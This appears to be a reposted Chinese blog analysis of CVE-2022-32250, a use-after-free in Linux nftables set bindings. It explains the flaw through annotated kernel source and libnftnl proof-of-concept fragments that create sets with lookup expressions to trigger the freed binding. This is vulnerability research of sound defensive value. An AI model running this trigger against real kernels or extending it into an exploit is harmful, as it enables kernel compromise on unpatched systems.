CVE-2022-32250漏洞原理

CVE-2022-32250漏洞原理

原创 hope 蚁景网安 2024-05-06 20:00 湖南

前言

nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。

CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。

环境搭建

  • • ubuntu20 + QEMU-4.2.1 + Linux-5.15

  • • .config文件

    • • CONFIG_NF_TABLES=y

    • • CONFIG_NETFILTER_NETLINK=y

    • • CONFIG_E1000=y

    • • CONFIG_E1000E=y

    • • CONFIG_USER_NS=y,开启命名空间

  • • 开启KASANmake menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

    图片

  • • 在ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载./configure --prefix=/usr && make
    sudo make install

漏洞验证

poc:https://seclists.org/oss-sec/2022/q2/159

在运行poc时,KASAN检测出存在uaf漏洞

图片

 

漏洞原理

KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。

nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206:        const struct nlattr * const nla[])
4207: {...//判断创建set的必备条件是否具备
4227:  if (nla[NFTA_SET_TABLE] == NULL ||
4228:      nla[NFTA_SET_NAME] == NULL ||
4229:      nla[NFTA_SET_KEY_LEN] == NULL ||
4230:      nla[NFTA_SET_ID] == NULL)
4231:   return -EINVAL;...

集合通过kvzalloc函数开辟空间

File: linux-5.15\net\netfilter\nf_tables_api.c...
4369:  set = kvzalloc(alloc_size, GFP_KERNEL);
4370:  if (!set)
4371:   return -ENOMEM;...

在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings

File: linux-5.15\net\netfilter\nf_tables_api.c...//对集合做初始化
4390:  INIT_LIST_HEAD(&set->bindings);
4391:  INIT_LIST_HEAD(&set->catchall_list);
4392:  set->table = table;
4393:  write_pnet(&set->net, net);
4394:  set->ops = ops;
4395:  set->ktype = ktype;
4396:  set->klen = desc.klen;
4397:  set->dtype = dtype;
4398:  set->objtype = objtype;
4399:  set->dlen = desc.dlen;
4400:  set->flags = flags;
4401:  set->size = desc.size;
4402:  set->policy = policy;
4403:  set->udlen = udlen;
4404:  set->udata = udata;
4405:  set->timeout = timeout;
4406:  set->gc_int = gc_int;...

图片

 

当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。

File: linux-5.15\net\netfilter\nf_tables_api.c...//判断是否有表达式需要创建
4416:  if (nla[NFTA_SET_EXPR]) {
4417:   expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418:   if (IS_ERR(expr)) {
4419:    err = PTR_ERR(expr);
4420:    goto err_set_expr_alloc;
4421:   }
4422:   set->exprs[0] = expr;
4423:   set->num_exprs++;...

在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。

File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310:       const struct nft_set *set,
5311:       const struct nlattr *attr)
5312: {
5313:  struct nft_expr *expr;
5314:  int err;
5315: 
5316:  expr = nft_expr_init(ctx, attr); --->[1]
5317:  if (IS_ERR(expr))
5318:   return expr;
5319: 
5320:  err = -EOPNOTSUPP;
5321:  if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322:   goto err_set_elem_expr;
5323: ...
5334: err_set_elem_expr:
5335:  nft_expr_destroy(ctx, expr); --->[3]
5336:  return ERR_PTR(err);
5337: }

回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。

图片

image-20240302143631008

lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。

struct nft_lookup {struct nft_set   *set; //集合u8    sreg; //源寄存器u8    dreg; //目的寄存器bool    invert; struct nft_set_binding  binding;
};

nft_set_bing结构体实则是维护了一个双链表。

struct nft_set_binding {struct list_head  list;const struct nft_chain  *chain;u32    flags;
};

nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。

File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096:       const struct nft_expr *expr,
097:       const struct nlattr * const tb[])
098: {...//检测set与源寄存器的值
105:  if (tb[NFTA_LOOKUP_SET] == NULL ||
106:      tb[NFTA_LOOKUP_SREG] == NULL)
107:   return -EINVAL;...

紧接着检索需要搜索的set

File: linux-5.15\net\netfilter\nft_lookup.c...
109:  set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110:         tb[NFTA_LOOKUP_SET_ID], genmask);
111:  if (IS_ERR(set))
112:   return PTR_ERR(set);...

最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的setbinding

File: linux-5.15\net\netfilter\nft_lookup.c...
148:  err = nf_tables_bind_set(ctx, set, &priv->binding);
149:  if (err < 0)
150:   return err;...

首先在绑定之前会校验链表是否是匿名并且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607:          struct nft_set_binding *binding)
4608: {...
4615:  if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616:   return -EBUSY;...

在通过上面的检测后,就会将当前表达式的加入到set中,

File: linux-5.15\net\netfilter\nf_tables_api.c...
4643:  list_add_tail_rcu(&binding->list, &set->bindings);...

综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。

set创建时,会初始化bindings指向自己本身。

图片

 

紧接着若有lookup表达式创建,并绑定上述的set时,因此通过setbingdings,可以检索在当前set上的所有expr

图片

 

图片

 

在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示

5321:  if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322:   goto err_set_elem_expr;

在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。

struct nft_expr_type nft_lookup_type __read_mostly = {.name  = "lookup",.ops  = &nft_lookup_ops,.policy  = nft_lookup_policy,.maxattr = NFTA_LOOKUP_MAX,.owner  = THIS_MODULE,
};

那么就会进入销毁表达式[3]

5334: err_set_elem_expr:
5335:  nft_expr_destroy(ctx, expr); --->[3]
5336:  return ERR_PTR(err);

nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数

File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825:  nf_tables_expr_destroy(ctx, expr);
2826:  kfree(expr);
2827: }

nf_tables_exor_destroy函数会调用表达式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762:        struct nft_expr *expr)
2763: {
2764:  const struct nft_expr_type *type = expr->ops->type;
2765: 
2766:  if (expr->ops->destroy)
2767:   expr->ops->destroy(ctx, expr); //表达式的删除操作
2768:  module_put(type->owner);
2769: }

nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数

File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174:           const struct nft_expr *expr)
175: {
176:  struct nft_lookup *priv = nft_expr_priv(expr);
177: 
178:  nf_tables_destroy_set(ctx, priv->set);
179: }

nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685:  if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
4686:   nft_set_destroy(ctx, set);
4687: }

由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。

图片

 

图片

 

POC分析

首先创建一个名为set_stableset,为后续创建lookup表达式做准备。

    set_name = "set_stable";nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

紧接着创建名为set_triggerset,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。

    set_name = "set_trigger";nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);exprs[exprid] = nftnl_expr_alloc("lookup");nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);// nest the expression into the setnftnl_set_add_expr(set_trigger, exprs[exprid]);

最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stableset->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。

    set_name = "set_uaf";nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);exprs[exprid] = nftnl_expr_alloc("lookup");nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);

参考链接

https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/

https://seclists.org/oss-sec/2022/q2/159

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/7369.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java中的optional类是啥和例子

Optional 是 Java 8 引入的一个容器对象&#xff0c;用于表示值存在或不存在。这是一个可以为 null 的容器对象&#xff0c;但使用 Optional 比直接使用 null 更安全&#xff0c;因为 Optional 类提供了许多有用的方法&#xff0c;以便更优雅地处理可能存在或不存在的值。 使用…

【PX4-AutoPilot教程-TIPS】Matlab使用ROS Toolbox编译MAVROS2消息报错缺少geographic_msgs消息

Matlab使用ROS Toolbox编译MAVROS2消息报错缺少geographic_msgs消息的解决方法 问题描述解决方法 环境&#xff1a; MATLAB : R2022b ROS Toolbox : 1.6 Windows &#xff1a;Windows 10 22H2 ROS &#xff1a;ROS2 Foxy 问题描述 在使用Matlab的ROS Toolbox工具箱编译与…

五分钟了解等级保护、风险评估和安全测评三者的区别和联系?

等级保护 基本概念&#xff1a;网络安全等级保护是指对国家秘密信息、法人和其他组织和公民的专有信息以及公开信息和存储、传输、处理这些信息的信息系统分等级实行安全保护&#xff0c;对信息系统中使用的安全产品实行按等级管理&#xff0c;对信息系统中发生的信息安全事件…

Leetcode—622. 设计循环队列【中等】

2024每日刷题&#xff08;128&#xff09; Leetcode—622. 设计循环队列 实现代码 class MyCircularQueue { public:MyCircularQueue(int k): q(k) {qSize k;}bool enQueue(int value) {if(isFull()) {return false;}q[rear] value;rear (rear 1) % qSize;deflag false;…

Python基础学习之random模块

在编程世界中&#xff0c;随机数有着广泛的应用&#xff0c;从简单的抽奖游戏到复杂的模拟和测试场景。Python的random模块为我们提供了丰富的工具&#xff0c;让我们能够轻松地生成和操作随机数。今天&#xff0c;我们就来深入了解一下这个强大的模块。 一、导入random模块 …

“A”分心得:我的云计算HCIE学习之路

大家好&#xff0c;我是誉天云计算HCIE周末班梁同学&#xff0c;在誉天老师和同学们的帮助下&#xff0c;我终于在4月24日顺利通过了云计算3.0 HCIE的认证考试&#xff0c;而且获得了A&#xff0c;这是让我特别惊喜的&#xff0c;功夫不负有心人。 我日常的工作是网络运维&…

Gin 框架的使用

1、Gin 快速开发 1.1、环境准备 1.1.1、导入 gin 依赖 这里就叫 gin 依赖了&#xff0c;在 Goland 命令行中输入下面的命令&#xff1a; go get -u github.com/gin-gonic/gin 1.1.2、设置代理 如果下载失败&#xff0c;最好设置一下代理&#xff0c;在 cmd 命令行中输入下…

golang系统内置函数整理

go语言中有很多系统内置的函数&#xff0c; 为了方便学习&#xff0c;对系统内置函数的函数定义 入参和返回值做如下整理&#xff0c;以方便学习和记忆。 Go语言系统级别的内置函数不多&#xff0c;但是包含的知识点可不少&#xff0c;是学习go语言说必须要搞明白的基础知识 …

老旧房屋用电线路故障引起的电气火灾预防对策​

摘 要&#xff1a;在我国新农村建设方针指引下&#xff0c;农村地区的发展水平有了显著提高。在农村经济发展中&#xff0c;我们也要认识到其中存在的风险隐患问题&#xff0c;其中重要的就是火灾事故。火灾事故给农村发展带来的不利影响&#xff0c;不仅严重威胁到农村群众的生…

Windows Server 2019/2022 开启WHP,使hyperv与vmware共存

我的环境是Windows Serve 2022 Datacenter, 21H2, 需要使用Hyper-V 与 VMWare Workstation共存&#xff0c;但是在服务器管理器中找不到Windows Hypervisor Platform安装选项。在Win10中是启动关闭Windows功能中&#xff0c;而server中找不到。 解决方法&#xff1a; 以管理员…

【强训笔记】day10

NO.1 思路&#xff1a;中心扩展。从i位置开始&#xff0c;从i-1为左边和i1右边进行移动&#xff0c;字符相等就继续移动&#xff0c;直到不等&#xff0c;更新回文串长度&#xff0c;让i为左边&#xff0c;i1右边再移动&#xff0c;同样字符相等就移动&#xff0c;不等就更新长…

电商核心技术揭秘四十九:智能广告投放与效果评估

相关系列文章 电商技术揭秘相关系列文章合集&#xff08;1&#xff09; 电商技术揭秘相关系列文章合集&#xff08;2&#xff09; 电商技术揭秘相关系列文章合集&#xff08;3&#xff09; 电商技术揭秘四十一&#xff1a;电商平台的营销系统浅析 电商技术揭秘四十二&#…

【NOI-题解】1586. 扫地机器人1430 - 迷宫出口1434. 数池塘(四方向)1435. 数池塘(八方向)

文章目录 一、前言二、问题问题&#xff1a;1586 - 扫地机器人问题&#xff1a;1430 - 迷宫出口问题&#xff1a;1434. 数池塘&#xff08;四方向&#xff09;问题&#xff1a;1435. 数池塘&#xff08;八方向&#xff09; 三、感谢 一、前言 本章节主要对深搜基础题目进行讲解…

[排序算法]堆排序

目录 1.基本思想 2.堆排序的步骤 3.堆排序算法的实现 4.堆排序的特点&#xff1a; 5.总结 1.基本思想 堆排序&#xff08;Heap Sort&#xff09;的基本思想是利用堆这种数据结构进行排序。堆是一个完全二叉树&#xff0c;分为最大堆&#xff08;Max Heap&#xff09;和最…

【前端】HTML基础(3)

文章目录 前言一、HTML基础1、表格标签1.1 基本使用1.2 合并单元格 2、列表标签2.1 无序列表2.2 有序列表2.3 自定义列表 3、 表单标签2.1 form标签2.2 input标签2.3 label标签2.4 select标签2.5 textarea标签 4、无语义标签5、HTML特殊字符 前言 这篇博客仅仅是对HTML的基本结…

微服务领域的寻路者 —— Eureka深度探索与实战秘籍

文章目录 一、引言定义目标一个接地气的例子引言小结 二、Eureka架构2.1 Eureka Server一个有趣的例子2.2 Eureka Client一段简单的代码示例架构小结 三、工作流程1. 服务注册2. 心跳检测3. 服务发现4. 健康检查与失效剔除工作流程小结 四、核心机制4.1 服务注册与续约4.2 服务…

⭐⭐⭐宁波ISO9001认证:追求卓越的选择⭐⭐⭐

&#x1f308;&#x1f308;宁波ISO9001认证&#xff1a;&#x1f353;追求卓越的选择&#x1f680; &#x1f432;在追逐卓越的道路上&#xff0c;&#x1f98b;每一家企业都在寻找&#x1f426;那个能让自己腾飞&#x1f99c;的翅膀。而对我来说&#xff0c;&#x1f9a9;那个…

高精度乘法C++

1.高精度乘高精度的简单算法 思想&#xff1a;倒置相乘&#xff0c;统一处理进位&#xff0c;还原。 复杂度&#xff1a; o ( n 2 ) o(n^2) o(n2) // By SnowDream #include<bits/stdc.h> using namespace std; typedef long long ll; const int N1e510; string s1,s2…

【设计模式】单例模式的前世今生

文章目录 引言简介起航&#xff01;向“确保某个类在系统中只有一个实例”进发 ⛵️Lazy SingletonDouble-checked locking&#xff08;DCL&#xff09; SingletonVolatile SingletonAtomic SingletonMeyers Singleton 附&#xff1a;C静态对象的初始化 引言 说起单例模式&…

华为OD机试 - 分月饼 - 递归(Java 2024 C卷 200分)

华为OD机试 2024C卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测试…